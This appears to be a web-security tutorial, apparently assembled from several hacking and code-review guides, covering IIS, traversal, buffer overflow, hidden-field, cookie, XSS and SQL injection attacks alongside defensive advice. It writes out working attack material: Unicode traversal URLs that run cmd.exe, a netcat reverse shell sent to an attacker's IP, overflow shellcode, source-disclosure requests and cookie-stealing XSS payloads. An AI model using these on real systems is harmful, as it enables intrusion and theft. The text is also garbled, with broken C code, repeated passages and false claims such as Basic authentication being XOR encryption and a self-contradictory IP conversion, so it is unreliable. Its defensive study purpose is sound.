Web security is a very critical if your using the internet. Internet is the biggest network with many holes and security issues. Many tools exisit to penetrate sites and OS systems from web. Torjans Virus and Worm are inbeded in many sites with ActiveX and PHP texts that can over take your system if your not educated with all its issues. By useing Internet Explorer its proven you less safer than using Mozzila Firefox browser. Understaning the web and its security you will save much time and stress to protect your system and matterials. We will first disscus the browser its self. There are ways to secure Microsoft Internet explorer by going into the Internet Oprions by Puttingthe Privacy Higher, Blocking pop-ups, Managing Add-Ons and clearing old cookies/cache and old files. Its recommended you downlaod Firefox wich is many times safers and better secured than Internet Exploerer. There are generaly two types of web security catagories.

Web Server Security - Attacks can be categorized as either a buffer overflow attack, source disclosure attack, or a file system traversal attack. Unicode input validation attack. Unicode was developed as a replacement to ASCII. Unlike ASCII, however, Unicode uses a 16-bit dataspace, so it can support a wide variety of alphabets, including Cyrillic, Chinese, Japanese, Arabic, and others. The source of the vulnerability is not the Unicode itself but how it is processed. An un-patched server can suffer a multitude of attacks that target well-known exploits and vulnerabilities. Security patches and updates are critical to ensure that the operating system and web server are running with the latest files and fixes. SQL servers are vulnerable because of poor coding practices, lack of input validation, and the failure to update and patch the service. There are a lot of tools to hack SQL databases.


Web Application Security - Windows has a variety of services that can run in the background to provide continuous functionality or features to the operating system. By disabling unwanted services, you can reduce the attack surface of the IIs server. Perform logging to keep track of activity on your IIs server. Auditing allows you to understand and detect any unusual activity. Although auditing is not a preventative measure, it will provide valuable information about the access activity on your IIs server. Brute Force/ Dictionary attacks A text file full of dictionary words is loaded into a password program and then run against user accounts located by the application. If simple passwords have been used, this might be enough to do the trick. Brute force attacks The most comprehensive form of attack and the most potentially time-consuming. Brute force attacks can take weeks, depending on the length and complexity of the password. Database hacking: Databases might set behind the server, they are also a big target. Databases contain personal information and potential credit card and billing information, which makes them a target to attackers from around the world.

[Web Server Hacking]


Hypertext Markup Language (HTML) and Hypertext Transfer Protocol (HTTP) were the standards that originally defined Web architecture. Although other transport protocols and applications have become available, HTTP continues to be the basic medium of communication on the Web for some time to come. HTTP is a relatively simple, stateless, ASCII-based protocol. Unlike other applications, HTTP's TCP session does not stay open while waiting for multiple requests and their responses. HTTP is based on TCP port 80 and has only four stages:

1. Opens a TCP request to the IP address and port number in the URL.
2. Requests a service by sending request headers to define a method, such as GET.
3. Completes the transaction by responding with response headers that contain data.
4. Closes the TCP connection and does not save any information about the transaction.

There's more to the Web than HTTP. The standard web application is the web browser, such as Internet Explorer or Mozilla FireFox. Although the transport protocol might be HTTP, it might also be used with Secure Sockets Layer (SSL) or other protocols to provide encryption. The web server is responsible for answering the web browsers requests. While Internet Information Server (IIS) remains one of the most popular web servers, it has lost ground to the leader, Apache. There might also be various types of web applications that the web server runs, such as Hypertext Preprocessor (PHP), Active Server Page (ASP), or common gateway interface (CGI). Somewhere behind these web applications there might even be a database. This potentially attractive target might hold credit card numbers or other sensitive information.

Web attacks can focus on many different pieces of this infrastructure. Just as with another network service, the attacker must first identify what is present and offer the best mode of attack.

Web attacks focus on the following:

Scanning Tools, such as Nmap and SuperScan, can be used.
Banner grabbing Identifies the server and version. Netcat and Telnet are useful here.
Attacking the web server The script kiddies' dream would be to find unpatched servers or discover a recently discussed vulnerability that hasn't been patched yet.
Surveying the application Because it's more advanced than a direct web server attack, attacking the application could go unnoticed.
Attacking authentication Weak forms of authentication might allow the attacker to beat authentication or guess commonly used passwords.
Exploiting the database A tempting target for hackers looking to make a profit in identity or credit card theft.

[IIS Security]

IIS has gained quite a reputation for itself. Unfortunately, a big part of that reputation is for a lack of security. While IIS 6 is more secure than its predecessors, IIS continues to be a big target of attack. Before we describe some of the more debilitating IIS vulnerabilities, it will be helpful to lay some basic groundwork. As mentioned earlier in this chapter, a basic understanding of HTTP is a fundamental qualification for hacking any Web server, and IIS is no exception. In addition, IIS adds its own unique variations to basic Web protocols that we review here also. Our approach is a somewhat historical recitation of the development of the Web, with apologies to some of the finer details, which we happily mangle here to present a broad overview of several complex technologies.

Because HTTP is text-based, it’s quite easily understood. Essentially, HTTP is a stateless file-transfer protocol. Files are requested with the HTTP GET method (or verb) and are typically rendered within a Web browser. In a browser, the GET request looks like this:

www.victim.com/files/index.html

This requests the file index.html from the /files virtual directory on the system www.victim.com. The /files virtual directory maps to an actual directory on the system’s disk, for example, C:\inetpub\wwwroot\files\. To the server, however, the request appears as follows:

GET /files/index.html HTTP/1.0

Assuming the file exists and no other errors result, the server then replies with the raw data for index.html, which is rendered appropriately in the browser. Other HTTP methods like POST, PUT, and so on exist but, for our purposes, GET usually suffices. The response from the server includes the HTTP response code appropriate for the result of the request. In the case of a successful data retrieval, an HTTP 200 OK response is generated. Many other HTTP response codes exist: common ones include 404 Not Found, 403 Access Denied, and 302 Object Moved (this is often used to redirect requests to a login page to authenticate a user before servicing the original request).

CGI

One major variation on a basic HTTP file request is executable behavior. Early in its development, everyone decided the World Wide Web needed to advance beyond a simple, static file-retrieval system. So, dynamic capabilities were added via so-called Common Gateway Interface (CGI) applications, which were, essentially, applications that ran on the server and generated dynamic content tailored to each request, rather than serving up the same old HTML page. The capability to process input and generate pages on-the-fly greatly expanded the functional potential of a Web application. A CGI application can be invoked via HTTP in much the same manner as previously described:

www.victim.com/scripts/cgi.exe?variable1+variable2

This feeds variable1 and variable2 to the application cgi.exe (the plus symbol (+) acts as a space to separate the variables, for example, cmd.exe+/c+dir+C:\). Nearly any executable on a Windows 2000 system can behave like a server-side CGI application to execute commands. As you see in the upcoming section on file system traversal attacks, the Windows 2000 command shell, cmd.exe, is a popular target for attackers looking for easy CGI pickings.


ASP and ISAPI

Because of their nature as discrete programs that consumed system resources with each HTTP request, CGI executables soon became quite inefficient in servicing the Web’s burgeoning needs. Microsoft addressed these shortcomings by formulating two distinct technologies to serve as the basis for Web applications: Active Server Pages (ASP) and the Internet Server Application Programming Interface (ISAPI). These two technologies still underlie the two major types of IIS-based applications deployed today. ASP works much differently than CGI, but it appears to behave much the same way to the end user:

www.victim.com/scripts/script.asp?variable1=X&variable2=Y

Similar to the previous CGI example, this feeds the parameter X to the ASP script.asp as variable number one, Y as variable number two, and so on. Typically, the result of this process is the generation of an HTML page with the output of the script.asp operation. ASP scripts are usually written in a human-readable scripting language like Visual Basic, but the technology is largely (Microsoft) language-neutral. ISAPI generally is much less visible to end users. In fact, Microsoft uses many ISAPI DLLs to extend IIS itself and most folks are none the wiser (incidentally, the ASP interpreter is implemented as an ISAPI DLL. Blurs the line between ASP- and ISAPI-based applications, no?). ISAPI DLLs are binary files that aren’t given to human interpretation. They can run inside or outside the IIS process itself (inetinfo.exe) and, once instantiated, they stay resident, thus, greatly trimming the overhead of spawning a process for a CGI executable to service each request. If you know the name of an ISAPI DLL, it can be called via HTTP:

www.victim.com/isapi.dll?variable1&variable2


The results of calling an ISAPI DLL directly like this vary greatly depending on how it’s constructed and this isn’t useful, other than to retrieve the DLL itself for subsequent analysis using BinText (www.foundstone.com) or another string extraction tool, if possible. Entire books have been written about the IIS process model, ASP, and ISAPI, and we’re going to stop short here and reference one of our favorites, Running Internet Information Server (see the “References and Further Reading” section at the end of this chapter). The discussion so far covers about all you need to know to begin hacking away.

Common HTTP Tricks


What do hackers do with HTTP? Basically, they try to trick it into coughing up data it shouldn’t. The following concepts are typically used to attack Web servers. File System Traversal Using ../ We can’t count how many times the ol’ “dot dot slash” technique has extracted sensitive data from Web servers we’ve reviewed. Here’s an example:

www.victim.com/../../../../../winnt/secret.txt

This most often results from inadequate NTFS ACLs on the directory in question. In this example, you can see the traversed back up the file system into the system directory to obtain a file called “secret.txt,” which probably wasn’t an intended behavior for this site. IIS 2.0 was vulnerable to this type of exploit, and was corrected early on. However, many third-party Web applications, or “quick and dirty” Web servers integrated into various appliances are still vulnerable to this attack. One prominent example of such an integrated Web server is the Compaq Insight Manager (CIM) Web server that ships with most Compaq server hardware to enable remote, HTTP-based management. CIM was vulnerable to dot-dot-slash exploitation until patched sometime in 1999. CIM listens on port 2301 and vulnerable versions are still exploitable using a URL like the following one:

www.victim.com:2301/../../../winnt/repair/sam._

See the “References and Further Reading” section for a link to a fix for this CIM issue. Weidentify and show you how to exploit similar problems on IIS 5 in the upcoming section
on file system traversal attacks.


Hex Encoding

Hex Encoding URLs HTTP allows for characters to be entered in hexadecimal form in a URL. These values are the most often used as they represent file system parameters like slash, dot, and so on. The following shows a sample URL with spaces in it to illustrate how hexadecimal encoding is typically used. In this case, it’s to represent spaces in “the name of the file.txt”:

www.victim.com/files/the%20name%20of%20the%20file.txt

Asample URL craftily encoded to perform dot-dot-slash silliness is shown in the following, where the forward slashes have been replaced by their hexadecimal equivalent, %2F:

www.victim.com/..%2F..%2Fwinnt/secret.txt

This can be useful for avoiding intrusion detection systems or tripping up applications that mishandle the hex input. Once again, we identify and show you how to exploit similar problems on IIS 5 in the upcoming section on file system traversal attacks.

ASCII Hex

[space] %20
Plus (+) %2B
Period (.) %2E
Forward slash (/) %2F
Colon (:) %3A
Question mark (?) %3F
Backslash (\) %5C


WebDAV SEARCH


The WebDAV SEARCH vulnerability was discovered by David Litchfield in October 2000. The WebDAV ISAPI DLL, httext.dll, is at the root of this vulnerability as well, although it isn’t as serious as Translate: f. If the Index Service is running and read access is granted to the directory in question, a WebDAV SEARCH request can obtain a directory listing of the Webroot directory and every subdirectory. Attackers might be able to discover private files or identify .inc files used in ASP applications that can be directly downloaded in a browser. The HTTP request syntax that exploits the vulnerability is shown next:

SEARCH / HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
Content-Length: 133
< ?xml version="1.0"?>
< g:searchrequest xmlns:g="DAV:">
< g:sql>
Select "DAV:displayname" from scope()
< /g:sql>
< /g:searchrequest>


Redirecting a file with this input to a netcat connection to a target server generates an XML-ified directory listing of the Webroot directory and every subdirectory. It’s best to redirect the output to a .xml file, edit out the HTTP headers using a text editor, and then open the remaining raw XML in Internet Explorer or another Web browser that renders XML. Here’s what the redirection command might look like (webdav.txt contains the input previously shown, and output.xml is an arbitrary filename chosen for our output):

C:\>nc -vv victim.com 80 < webdav.txt > output.xml

After editing out extraneous HTTP headers from output.xml, and then opening it in Internet Explorer, we see the directory listing. We’ve only shown two of the files located in the Webroot directory in this figure, but the entire output.xml file reveals the names of all subdirectories and files under the Webroot.


Buffer overflow attack

A buffer overrun is when a program allocates a block of memory of a certain length and then tries to stuff too much data into the buffer, with extra overflowing and overwriting possibly critical information crucial to the normal execution of the program.

When the source is compiled and turned into a program and the program is run, it will assign a block of memory 32 bytes long to hold the name string.

#include <stdio.h>
int main ( )
{
char name[31]
printf("Please type your name: ");
gets(name) ;
printf("Hello, %s", name) ;
return 0;

Buffer overflow will occur if you enter:

'ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ



The IPP Printer Overflow attack was discovered in 2001 and affects Windows 2000 systems running IIS 5.0. It is a buffer overflow attack, and it also targets the ISAPI filter (mws3ptr.dll) that handles .printer files. If the buffer is sent with at least 420 characters, it will overflow and might potentially return a command prompt to the attacker. Several tools are available to exploit this vulnerability, including IIs5hack and jill-win32. These exploits insert shell code to shovel a shell back to the listener on the attacker's system. A piece of the exploit is shown here:

int main(int argc, char *argv[]){

/* The whole request rolled into one. */
unsigned char sploit[]=
" \x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20"
" \x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20"
" \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
" \x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
" \x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
" \x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
" \xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
" \xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"


When you review code for buffer overflows, focus your review efforts on your code that calls unmanaged code through the P/Invoke or COM interop layers. Managed code itself is significantly less susceptible to buffer overflows because array bounds are automatically checked whenever an array is accessed. As soon as you call a Win32 DLL or a COM object, you should inspect the API calls closely.


The following process helps you to locate buffer overflow vulnerabilities:


1. Locate calls to unmanaged code.
- Scan your source files for "System.Runtime.InteropServices," which is the namespace name used when you call unmanaged code.

2.Check the string parameters passed to unmanaged APIs.
- These parameters are a primary source of buffer overflows. Check that your code checks the length of any input string to verify that it does not exceed the limit defined by the API. If the unmanaged API accepts a character pointer, you may not know the maximum allowable string length unless you have access to the unmanaged source. A common vulnerability is shown in the following code fragment:

void SomeFunction( char *pszInput )
{
char szBuffer[10];
// Look out, no length checks. Input is copied straight into the buffer
// Should check length or use strncpy.
strcpy(szBuffer, pszInput);
. . .
}

Buffer overflows can still occur if you use strncpy because it does not check for sufficient space in the destination string and it only limits the number of characters copied. If you cannot inspect the unmanaged code because you do not own it, rigorously test the API by passing in deliberately long input strings and invalid arguments.

3. Check file path lengths.

- If the unmanaged API accepts a file name and path, check that your wrapper method checks that the file name and path do not exceed 260 characters. This is defined by the Win32 MAX_PATH constant. Also note that directory names and registry keys can be 248 characters maximum.

4. Check output strings.

- Check if your code uses a StringBuilder to receive a string passed back from an unmanaged API. Check that the capacity of the StringBuilder is long enough to hold the longest string the unmanaged API can hand back, because the string coming back from unmanaged code could be of arbitrary length.

5. Check array bounds.

- If you use an array to pass input to an unmanaged API, check that the managed wrapper verifies that the array capacity is not exceeded.
Check that your unmanaged code is compiled with the /GS switch.
If you own the unmanaged code, use the /GS switch to enable stack probes to detect some kinds of buffer overflows.

[Source disclosure attack]


Source disclosure attacks can uncover passwords, web design, or business logic. One example of this is the +.htr exploit. Because of vulnerabilities in the ISM.dll, IIS4 and IIS5 can be made to disclose source data, rather than executing it. An attacker accomplishes this by appending +.htr to the global.asa file; Netcat can help exploit this vulnerability. First, create the following text file and name it htr.txt:

GET /victims_address/global.asa+.htr HTTP/1.0
CR
CR


Create a text file and name it htr.txt:

GET /victims_address/global.asa+.htr HTTP/1.0
CR
CR

Next, execute the following command:

nc -vv www.victim.com 80 <htr.txt

If the site is vulnerable, You will receive this:

HTTP/1.1 200 OK
Server: Microsoft -IIS /5.0
Date: Mon, 02 July 2006 00:31:10 GMT
< !--filename = global.asa -->
("Profiles_ConnectionString")= "DSN=Profiles; UID=User; password=secret"
("LDAPUserID") = "cn=Admin"
("LDAPPwd") = "p@ssw0rd"



[File system traversal attack]


The Server Name Spoof Exploit in IIS 5.0 and 6.0 make it possible to revealing sensitive ASP code through the IIS 500-100.asp error page. The spoof opens a potential range of exploits in third-party web applications and web services. Two iterations of this attack are: Unicode Can be exploited with character strings, such as %c1%1c, %c0%af, %c1%pc, and so on. Double Decode Can be exploited with character strings, such as %255c, %%35c, and so on. These attacks are possible because of the way in which the Unicode is parsed. These overly long strings bypass the filters that are designed to only check short Unicode. By using the Unicode syntax of ../../../, an attacker can traverse out of the current directory and run programs such as cmd.exe. Once an attacker can execute commands on the local system, he is only a few steps away from owning the box. Listed here is what the command syntax would look like for such an attack:

http://web_server//scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

To complete this attack after the attacker reaches this point follow the four steps.

1. Upload.aspAllows the attacker to write files on the server.
2. Cmdasp.aspAllows for remote command execution.
3. GetAdminEscalating privileges.
4. NetcatShoveling a shell.

Lastly the attacker needs only to use Netcat to return a command shell to his computer with system privileges:

Execute nc.exe -l -p <Open Port> from the attacker's computer.
Execute nc.exe -v -e cmd.exe AttackerIP <Open Port> from the victim's IIS server that has cmdasp.asp loaded.


Apply all patches, Security patches and updates are critical to ensuring that the operating system and IIS are running with the latest files and fixes. An un-patched server can suffer a multitude of attacks that target well-known exploits and vulnerabilities. You've seen a variety of these in the previous section. It is vital for you to keep your system patches up-to-date. No matter what tool you use, it is most important to implement automated patch management. Third, disable unneeded services. Windows has a variety of services that can run in the background to provide continuous functionality or features to the operating system. As an example, in the previous section, the IPP printer overflow is discussed. With that service installed, the exploit would not be possible. Therefore, by disabling unwanted services, you can reduce the attack surface of the IIS server. Lock down the file system. Use the NT File System (NTFS) and enable file-level security. This will allow full access control at the folder and/or file levels. File-level security is the last level of access control before a request is fulfilled by the operating system. One useful tool that can help in this task is Calcs. This Microsoft command-line utility will allow you to set file permissions. Logg to keep track of activity on your IIS server. Auditing allows you to understand and detect any unusual activity. Although auditing is not a preventative measure, it will provide valuable information about the access activity on your IIS server.

[Web Application Hacking]


Web application hacking requires the attacker to uncover applications and understand their logic. The best way to start is by just clicking through the site and spending some time examining its look and feel. After you can start to identify the underlying applications, the search for vulnerabilities can begin. If the application is a commercial product, the attacker can check for known vulnerabilities or begin to probe the application. Most application vendors are proud of their products, so a quick check of their sites might list all their clients. For the attacker who successfully finds vulnerabilities, this means that there's a whole list of potential victims.


[Hidden Fields]

Hidden fields is a poor coding practice that has been known and publicized for some time, although it still continues. It's the practice of using hidden HTML fields as a sole mechanism for assigning a price or obscuring a value. This practice of security by obscurity can be easily overcome by just reviewing the code. The theory is that if end users cannot see it, it is safe from tampering. Many sites use these hidden value fields to store the price of the product that is passed to the web application. Some poorly written applications will even accept a negative value.

Example:

<INPUT TYPE=HIDDEN NAME="name" VALUE="Dell PC">
< INPUT TYPE=HIDDEN NAME="price" VALUE="$500.00">
< INPUT TYPE=HIDDEN NAME="sh" VALUE="1">
< INPUT TYPE=HIDDEN NAME="return" VALUE="http://www.vulnerable_site.com/cgi-bin/cart
.pl?db=stuff.dat&category=&search=Dell-PCs&method=&begin=&display=&price=&merchant=">
< INPUT TYPE=HIDDEN NAME="add2" VALUE="1">
< INPUT TYPE=HIDDEN NAME="img"
VALUE="http://www.vulnerable_site.com/images/c-14kring.jpg">

[Steps to modifing exploitable code]

1. Save the page locally and open the source code.
2. Modify the amount and save the page. As an example, change $500.00 to $2.00:

<INPUT TYPE=HIDDEN NAME="name" VALUE="Dell PC">
< INPUT TYPE=HIDDEN NAME="price" VALUE="$2.00">

3. Refresh the local HTML page and then click Add to Cart. If successful, you'll be presented with a checkout page that reflects the new hacked value of $2.00.


The real problem here is that an application should never rely on the web browser to set the price of an item. Even without changing the price, an attacker might just try to feed large amounts of data into the field to see how the application responds. Values from hidden fields, check boxes, select lists, and HTTP headers might be manipulated by malicious users and used to make web applications misbehave if the designer did not build in proper validation. If you think that there is a shortage of sites with these types of vulnerabilities, think again. A quick Google search for type=hidden name=price returns hundreds of hits.

[Authentication]

Authentication plays a critical role in the security of any website. There might be areas you want to restrict or content that is confidential or sensitive. There are many different ways to authenticate users. Authentication can include something you know, such as a username and a password; something you have, such as a token or smart card; or even something you are, such as fingerprints, retina scans, or voice recognition.

Basic authentication is achieved through the process of exclusive ORing (XOR). Basic encryption starts to work when a user requests a protected resource. The Enter Network Password box pops up to prompt the user for a username and password. When the user enters his password, it is sent via HTTP back to the server. The data is encoded by the XOR binary operation. This function requires that when two bits are combined, the results will only be a 0 if both bits are the same. XOR functions by first converting all letters, symbols, and numbers to ASCII text. These are represented by their binary equivalent. The resulting XOR value is sent via HTTP. This is the encrypted text. Base encryption is one of the weakest forms of authentication. It is not much better than cleartext. Basic is a type of obsufication or security by obscurity.

Certificate-based authentication is the strongest form of authentication discussed so far. When users attempt to authenticate, they present the web server with their certificates. The certificate contains a public key and the signature of the Certificate authority. The web server must then verify the validity of the certificate's signature and then authenticate the user by using public key cryptography. Certificate-based authentication uses public key cryptography.

Forms-based authentication is widely used on the Internet. It functions through the use of a cookie that is issued to a client. After being authenticated, the application generates a cookie or session variable. This stored cookie is then reused on subsequent visits. If this cookie is stolen or hijacked, the attacker can use it to spoof the victim at the targeted website.



[Web Password Cracking]

An unlimited number of tools are available for the attacker to attempt to break into web-based applications. If the site does not employ a lockout policy, it is only a matter of time and bandwidth before the attacker can gain entry. Password cracking doesn't have to involve sophisticated tools; many times password guessing works well. It can be a tedious process, although human intuition can beat automated tools. The basic types of password attacks include

Dictionary attacks A text file full of dictionary words is loaded into a password program and then run against user accounts located by the application. If simple passwords have been used, this might be enough to crack the code.

Hybrid attacks Similar to a dictionary attack, except that hybrid attacks add numbers or symbols to the dictionary words. Many people change their passwords by simply adding a number to the end of their current password. The pattern usually takes this form: First month's password is Mike; second month's password is Mike2; third month's password is Mike3; and so on.

Brute force attacks The most comprehensive form of attack and the most potentially time-consuming. Brute force attacks can take weeks, depending on the length and complexity of the password.

Finding log information that leads directly to an attacker is not always so easy. Sometimes attackers will practice URL obfuscation. This allows the attacker to attempt to hide his IP address. Attackers will also attempt to use cookies to further their hold on a system. You might be surprised to know how much information they maintain. Sometimes they are even used to store passwords. Cookies are our next topic.


[Web Site Cookies]

Cookies have a legitimate purpose. HTTP is a stateless protocol. For example, this presents real problems if you want to rent a car from rent-a-car.com and it asks for a location. To keep track of the location where you want to rent the car, the application must set a cookie. Information, such as location, time, and date of the rental, are packaged into a cookie and sent to your Web browser, which stores it for later use. A couple of tools that can be used to view cookies include

CookieSpy Allows cookie viewing

Karen's Cookie Viewer Allows you to view cookies

If the attacker can gain physical access to the victim's computer, these tools can be used to steal cookies or to view hidden passwords. You might think that passwords wouldn't be hidden in cookies, but that is not always the case. It's another example of security by obscurity. Cookies used with forms authentication or other remember me functionality might hold passwords or usernames. Here's an example:

Set-Cookie: UID= bWlrZTptaWtlc3Bhc3N3b3JkDQoNCg; expires=Fri, 06-Jan-2006

The UID value appears to contain random letters, but more than that is there. If you run it through a Base64 decoder, you end up with mike:mikespassword. It's never good practice to store usernames and passwords in a cookie, especially in an insecure state.


[URL Obfuscation]

It is possible to hide addresses in URLs so that they can bypass filters or other application defenses that have been put in place to block specific IP addresses. Although web browsers recognize URLs that contain hexadecimal or binary character representations, some web filtering applications don't. Here is an example of an encoded binary IP address: http://8812120797/. Does it look confusing? This decimal address can be converted into a human readable IP address. Convert the address into hexadecimal, divide it into four sets of two digits, and finally convert each set back into decimal to recover the IP address manually.

To convert an IP address to its binary equivalent, perform the following steps.

1. Convert each individual number in the IP address to its binary equivalent. Let's say that the address is 192.168.13.10.

192 = 11000000

168 = 10101000

13 = 00001101

10 = 00001010

2. Combine the four eight digit numbers into one 32-digit binary number. The previous example produces 11000000101010000000110100001010.
3. Convert the 32-bit number back to a decimal number. The example yields 3232238858.
4. Entering this into the address field, http://3232238858, takes you to 192.168.12.10.

[XSS]

Cross-site scripting is a computer security exploit that occurs when a web application is used to gather data from a victim. Sending the victim an email with an embedded malicious link is the way to commit an attack. Victims who fall for the ruse and click on the link will have their credentials stolen. Sites running PHPnuke have been particularly hard hit by this attack. XSS can be prevented if vulnerable programs are patched and input is validated from a dynamic web page. Prevention also requires that the users remain leery of embedded links. Find a vulnerable site that issues the needed cookies. Build the attack code and verify that it will function as expected.

<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT> malicious code</SCRIPT>">
Click here</A>

Build your own URL or embed the code in an email or web page. Trick the user into executing the code. Hijack the account.
XSS bugs are an example of maintaining too much trust in data entered by a user. For example, your application might expect the user to enter a price, but instead the attacker includes a price and some HTML and JavaScript. Therefore, you should always ensure that data that comes from untrusted sources is validated. When reviewing code, always ask the question, "Is this data validated?" Keep a list of all entry points into your ASP.NET application, such as HTTP headers, query strings, form data, and so on, and make sure that all input is checked for validity at some point. Do not test for incorrect input values because that approach assumes that you are aware of all potentially risky input. The most common way to check that data is valid in ASP.NET applications is to use regular expressions.

You can perform a simple test by typing text such as "XYZ" in form fields and testing the output. If the browser displays "XYZ" or if you see "XYZ" when you view the source of the HTML, then your Web application is vulnerable to XSS. If you want to see something more dynamic, inject <script>alert('hello');</script>. This technique might not work in all cases because it depends on how the input is used to generate the output.

The following process helps you to identify common XSS vulnerabilities:

Identify code that outputs input.

Identify potentially dangerous HTML tags and attributes.

Identify code that handles URLs.

Check that output is encoded.

Check for correct character encoding.

Check the validateRequest attribute.

Check the HttpOnly cookie option.

Check the <frame> security attribute.

Check the use of the innerText and innerHTML properties.



Identify Code That Outputs Input

View the page output source from the browser to see if your code is placed inside an attribute. If it is, inject the following code and retest to view the output.

"onmouseover= alert('hello');"

A common technique used by developers is to filter for < and > characters. If the code that you review filters for these characters, then test using the following code instead:

&{alert('hello');}

If the code does not filter for those characters, then you can test the code by using the following script:

<script>alert(document.cookie);</script>;

You may have to close a tag before using this script, as shown below.

"></a><script>alert(document.cookie);</script>


Searching for ".Write"

Search for the ".Write" string across .aspx source code and code contained in any additional assembly you have developed for your application. This locates occurrences of Response.Write, and any internal routines that may generate output through a response object variable, such as the code shown below.

public void WriteOutput(Response respObj)
{
respObj.Write(Request.Form["someField"]);
}

You should also search for the "<%=" string within .aspx source code, which can also be used to write output, as shown below:

<%=myVariable %>


Source Examples
Form Fields Response.Write(name.Text);
Response.Write(Request.Form["name"]);

Query Strings
Response.Write(Request.QueryString["name"]);
Cookies Response.Write( Request.Cookies["name"].Values["name"]);

Session and App variables
Response.Write(Session["name"]);
Response.Write(Application["name"]);

Databases and data stores
SqlDataReader reader = cmd.ExecuteReader();
Response.Write(reader.GetString(1));



Identify Potentially Dangerous HTML Tags and Attributes

While not exhaustive, the following commonly used HTML tags could allow a malicious user to inject script code:

<applet> <frameset> <layer> <body> <html> <ilayer> <embed>

<iframe> <meta> <frame> <img> <object> <script> <style>

HTML attributes such as src, lowsrc, style, and href can be used in conjunction with the tags above to cause XSS.

For example, the src attribute of the <img> tag can be a source of injection as shown in the following examples.

<IMG SRC="javascript:alert('hello');">
< IMG SRC="java script:alert('hello');">
< IMG SRC="java script:alert('hello');">

The <style> tag also can be a source of injection by changing the MIME type as shown below.

<style TYPE="text/javascript">
alert('hello');
< /style>

Identify Code That Handles URLs

Code that handles URLs can be vulnerable. Review your code to see if it is vulnerable to the following common attacks:

1. If your Web server is not up-to-date with the latest security patches, it could be vulnerable to directory traversal and double slash attacks, such as:

www.YourWebServer.com/..%255%../winnt
www.YourWebServer.com/..%255%..//somedirectory

2. If your code filters for "/", an attacker can easily bypass the filter by using an alternate representation for the same character. For example, the overlong UTF-8 representation of "/" is "%c0f%af" and this could be used in the following URL:

www.YourWebServer.com/..%c0f%af../winnt

3. If your code processes query string input, check that it constrains the input data and performs bounds checks. Check that the code is not vulnerable if an attacker passes an extremely large amount of data through a query string parameter.

www.YourWebServer.com/test.aspx?var=InjectHugeAmountOfDataHere


Check That Output Is Encoded

While not a replacement for checking that input is well-formed and correct, you should check that HtmlEncode is used to encode HTML output that includes any type of input. Also check that UrlEncode is used to encode URL strings. Input data can come from query strings, form fields, cookies, HTTP headers, and input read from a database, particularly if the database is shared by other applications. By encoding the data, you prevent the browser from treating the HTML as executable script.


Check for Correct Character Encoding

To help prevent attackers using canonicalization and multi-byte escape sequences to trick your input validation routines, check that the character encoding is set correctly to limit the way in which input can be represented.

Check that the application Web.config file has set the requestEncoding and responseEncoding attributes configured by the <globalization> element as shown below.

<configuration>
<system.web>
<globalization
requestEncoding="ISO-8859-1"
responseEncoding="ISO-8859-1"/>
</system.web>
< /configuration>
Character encoding can also be set at the page level using a <meta> tag or ResponseEncoding page-level attribute as shown below.

<% @ Page ResponseEncoding="ISO-8859-1" %>


Check the validateRequest Attribute

Web applications that are built using the .NET Framework version 1.1 perform input filtering to eliminate potentially malicious input, such as embedded script. Do not rely on this, but use it for defense in depth. Check the <pages> element in your configuration file to confirm that the validateRequest attribute is set to true. This can also be set as a page-level attribute. Scan your .aspx source files for validateRequest, and check that it is not set to false for any page.


Check the HttpOnly Cookie Option

Internet Explorer 6 SP 1 supports a new HttpOnly cookie attribute that prevents client-side script from accessing the cookie from the document.cookie property. Instead, an empty string is returned. The cookie is still sent to the server whenever the user browses to a Web site in the current domain.


Check the <frame> Security Attribute

Internet Explorer 6 and later supports a new security attribute on the <frame> and <iframe> elements. You can use the security attribute to apply the user's Restricted Sites Internet Explorer security zone settings to an individual frame or iframe.


Check the Use of the innerText and innerHTML Properties

If you create a page with untrusted input, verify that you use the innerText property instead of innerHTML. The innerText property renders content safe and ensures that script is not executed.

[Intercepting Web Traffic]

One of the best ways to understand how a web application actually works is to observe it. Although a sniffer is one possible choice, a proxy is another available tool that can make the job a little easier. The following are two proxies that will be discussed:

Burp Proxy http://www.portswigger.net/proxy

Achilles http://www.mavensecurity.com/achilles

Web proxies allow the penetration tester to attack and debug web applications. These tools act as a man-in-the-middle. They allow you to intercept, inspect, and modify the raw contents of the traffic, as explained in the following:

Intercept Allows you to see under the hood and watch the traffic move back and forth between the client and the server.

Inspect Allows you to enumerate how applications work and see the mechanisms they use.

Modify Allows you to modify the data in an attempt to see how the application will respond; for instance, injection attacks.

These tools make it possible to perform Structured Query Language (SQL) injection, cookies subversion, buffer overflows, and other types of attacks.


[SQL injection]


Some organizations are so focused on their web servers and applications that they might never realize that an attacker could have another target in mind. The organization's most valuable asset might not be its web server, but rather the information contained within the company's database. Databases are important to business, government, and individuals because they can contain customer data, credit card numbers, passwords, or other corporate secrets. They are widely used. If you have booked a reservation on a plane, used your credit card to buy the title history of a used car you were thinking about buying, or bought this book from Amazon.com, you have used a database and might still have personal facts stored in its files.

[Popular Database Applications]

Oracle Net Listener:1579
Microsoft SQL:1433
MySQL:3306

After a database has been identified, the attacker will place a single ' inside a username field to test for SQL vulnerabilities, and this ' is sometimes referred to as a tick. The attacker will look for a return result similar to the one shown here:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string ' and Password=''.
/login.asp, line 42


